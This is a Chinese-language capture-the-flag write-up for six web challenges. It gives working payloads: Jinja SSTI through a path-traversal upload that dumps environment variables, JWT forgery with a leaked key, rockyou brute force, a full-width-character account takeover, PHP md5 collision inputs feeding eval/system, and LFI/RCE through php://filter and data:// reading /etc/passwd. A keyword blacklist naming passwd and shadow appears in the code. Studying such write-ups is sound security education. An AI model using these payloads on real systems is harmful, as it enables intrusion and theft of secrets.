1.ez_upload

读取app.py

import os
import uuid
from flask import Flask, request, render_template_string, redirect, url_for, send_from_directory, flash, jsonify
from werkzeug.exceptions import RequestEntityTooLarge

app = Flask(__name__)
app.secret_key = 'your_secret_key_here'

UPLOAD_FOLDER = 'uploads'
MAX_FILE_SIZE = 16 * 1024 * 1024
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'zip', 'html'}

BLACKLIST_KEYWORDS = [
    'env', '.env', 'environment', 'profile', 'bashrc',
    'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag'
]

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_FILE_SIZE

if not os.path.exists(UPLOAD_FOLDER):
    os.makedirs(UPLOAD_FOLDER)

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    try:
        with open('templates/index.html', 'r', encoding='utf-8') as f:
            template_content = f.read()
        return render_template_string(template_content)
    except FileNotFoundError:
        try:
            with open('templates/error_template_not_found.html', 'r', encoding='utf-8') as f:
                return f.read()
        except:
            return '<h1>错误</h1><p>模板文件未找到</p><a href="/upload">上传文件</a>'
    except Exception as e:
        try:
            with open('templates/error_render.html', 'r', encoding='utf-8') as f:
                template = f.read()
            return render_template_string(template, error_message=str(e))
        except:
            return '<h1>渲染错误</h1><p>' + str(e) + '</p><a href="/upload">上传文件</a>'

@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('没有选择文件')
            return redirect(request.url)
        
        file = request.files['file']
        
        if file.filename == '':
            flash('没有选择文件')
            return redirect(request.url)
        
        if file and allowed_file(file.filename):
            filename = file.filename
            filename = filename.replace('../', '')
            file_path = os.path.join(UPLOAD_FOLDER, filename)
            
            try:
                file.save(file_path)
                flash('文件 {} 上传成功!'.format(filename))
                return redirect('/upload')
            except Exception as e:
                flash('文件上传失败: {}'.format(str(e)))
                return redirect(request.url)
        else:
            flash('不允许的文件类型')
            return redirect(request.url)
    
    try:
        with open('templates/upload.html', 'r', encoding='utf-8') as f:
            template_content = f.read()
        return render_template_string(template_content)
    except FileNotFoundError:
        try:
            with open('templates/error_upload_not_found.html', 'r', encoding='utf-8') as f:
                return f.read()
        except:
            return '<h1>错误</h1><p>上传页面模板未找到</p><a href="/">返回主页</a>'

@app.route('/file')
def view_file():
    file_path = request.args.get('file', '')
    
    if not file_path:
        try:
            with open('templates/file_no_param.html', 'r', encoding='utf-8') as f:
                return f.read()
        except:
            return '<h1>文件查看</h1><p>请使用 ?file= 参数指定要查看的文件</p><a href="/">返回主页</a>'
    
    file_path_lower = file_path.lower()
    for keyword in BLACKLIST_KEYWORDS:
        if keyword in file_path_lower:
            try:
                with open('templates/file_error.html', 'r', encoding='utf-8') as f:
                    template = f.read()
                return render_template_string(template, 
                    file_path=file_path, 
                    error_message='访问被拒绝:文件路径包含敏感关键词 [{}]'.format(keyword))
            except:
                return '<h1>访问被拒绝</h1><p>文件路径包含敏感关键词</p><a href="/">返回主页</a>'
    
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            file_content = f.read()
        
        try:
            with open('templates/file_view.html', 'r', encoding='utf-8') as f:
                template = f.read()
            return render_template_string(template, file_path=file_path, file_content=file_content)
        except:
            return '<h1>文件内容</h1><pre>{}</pre><a href="/">返回主页</a>'.format(file_content)
    except Exception as e:
        try:
            with open('templates/file_error.html', 'r', encoding='utf-8') as f:
                template = f.read()
            return render_template_string(template, file_path=file_path, error_message=str(e))
        except:
            return '<h1>文件读取失败</h1><p>错误: {}</p><a href="/">返回主页</a>'.format(str(e))


@app.errorhandler(RequestEntityTooLarge)
def too_large(e):
    try:
        with open('templates/error_too_large.html', 'r', encoding='utf-8') as f:
            template = f.read()
        return render_template_string(template, max_size=MAX_FILE_SIZE // (1024*1024)), 413
    except:
        return '<h1>文件过大</h1><p>文件大小不能超过 {} MB</p>'.format(MAX_FILE_SIZE // (1024*1024)), 413

@app.errorhandler(404)
def not_found(e):
    try:
        with open('templates/error_404.html', 'r', encoding='utf-8') as f:
            return f.read(), 404
    except:
        return '<h1>404</h1><p>页面不存在</p>', 404

@app.errorhandler(500)
def server_error(e):
    try:
        with open('templates/error_500.html', 'r', encoding='utf-8') as f:
            template = f.read()
        return render_template_string(template, error_message=str(e)), 500
    except:
        return '<h1>500</h1><p>服务器内部错误: {}</p>'.format(str(e)), 500

if __name__ == '__main__':
    print("启动Flask文件上传应用...")
    print("上传目录: {}".format(UPLOAD_FOLDER))
    print("最大文件大小: {} MB".format(MAX_FILE_SIZE // (1024*1024)))
    print("允许的文件类型: {}".format(ALLOWED_EXTENSIONS))
    app.run(debug=False, host='0.0.0.0', port=5000)

render_template_string渲染了html页面内容,则可以实现覆盖index.html在里面实现ssti

绕过上传限制….//templates/index.html

上传ezupload.txt文件

内容为

{{lipsum.__globals__.os.popen('env').read()}}

再在yakit修改文件名为….//templates/index.html

再拜访主页得到

KUBERNETES_PORT=tcp://10.96.0.1:443 KUBERNETES_SERVICE_PORT=443 HOSTNAME=pctf2025-3e80277960ee4a50 HOME=/root GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D PYTHON_SHA256=8d3ed8ec5c88c1c95f5e558612a725450d2452813ddad5e58fdb1a53b1209b78 WERKZEUG_SERVER_FD=3 KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1 PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin KUBERNETES_PORT_443_TCP_PORT=443 GZCTF_FLAG=PCTF{fc309f83-740d-485b-a955-1dde33eefc92} KUBERNETES_PORT_443_TCP_PROTO=tcp LANG=C.UTF-8 PYTHON_VERSION=3.11.14 KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443 KUBERNETES_SERVICE_HOST=10.96.0.1 PWD=/app GZCTF_TEAM_ID=3373 

2.Jwt_password_manager

先注册普通用户

然后在附件中看到了

app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'

复制cookie中token的值

然后在https://www.jwt.io/中构造admin的token

注:

JWT Decoder
JWT Encoder

存在这俩板块

随后得到flag

3.We_will_rockyou

附件中发现

if __name__ == '__main__':
    admin_id = 0
    admin_username = 'admin123'
    admin_password = str(uuid.uuid4())

做fuzz测试知道有rockyou字典

插入使用

测出密码:chelsea

登入尝试执行命令

存在waf

附件中白名单

SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more']

利用more读取more /flag

Output

PCTF{f805b6d0-d026-41b0-9279-937feee61c16}

4.神秘商店

登录admin

利用全角来注册登录

后端代码有转换,全角能够绕过后端对admin的检测,然后把全角admin识别成正常的admin,造成覆盖注册,修改admin密码

注册admin,其中n为全角

利用整数溢出4294967246到50,购买flag

5.php_with_md5

<?php
error_reporting(0);
highlight_file(__FILE__);
echo "Welcome to the PHP world!";
echo "<br>";
echo "Can you get the flag in my php file?";

if(isset($_GET['begin'])=='admin'){
    $begin=$_GET['begin'];
    
    if(!preg_match('/admin/i',$begin)){
        echo "Excellent!";
        
        if($_POST['password']==md5($_POST['password'])){
            echo "Wooow!,you are so clever!";
            
            if($_GET['a']!=$_GET['b'] && md5($_GET['a'])==md5($_GET['b'])){
                echo "Continue!";
                
                if($_GET['c']!=$_GET['d'] && md5($_GET['c'])===md5($_GET['d'])) {
                    echo "Congratulations! You have completely learned the MD5 skills!";
                    @eval($_POST['cmd']);
                    
                }
            }else{ die("Nope,try again!");}
        }else{ die("Haha,try again!");}
    }else{ die("NoNoNO! You can't do that!");}
}else{ die("Oooooooops,You are not admin!");}


?>

1.传非admin

2.md5弱比较

3.md5强碰撞

4.shell命令

?begin=123&a=s155964671a&b=s878926199a&c=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&d=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
password=0e215962017&cmd=system("cat /flag");

6.EZPHP

EZ read file in PHP

进入题目:Please pass in “number” value the number value between 111111 and 999999:

dirsearch无果

然后post,get抓包和hackbar都失败

尝试?number=1111../,失败

数字爆破

输入?number=114514

<?php
error_reporting(0);
    echo "Please pass in \"number\" value <br>";
    echo "the number value between 111111 and 999999:<br>";
    if($_GET["number"]==114514) {
        highlight_file(__FILE__);
        echo "OK!Please find the flag!<br>";
        if($_GET['action']=="read"){
            $filename=$_POST["filename"];
            file($filename);
        }elseif($_GET["action"]== "include"){
            $filename=$_POST["filename"];
            include($filename);
        }
    }
?>
?number=114514&action=include
filename=php://filter/convert.base64-encode/resource=/etc/passwd

有回显,存在本地文件包含

?number=114514&action=include
filename=data://text/plain,<?php system("nl /*"); ?>
filename=data://text/plain,<?php system("cat /OgcyNDmiofooYd4j"); ?>也可以            OgcyNDmiofooYd4j是ls /得到的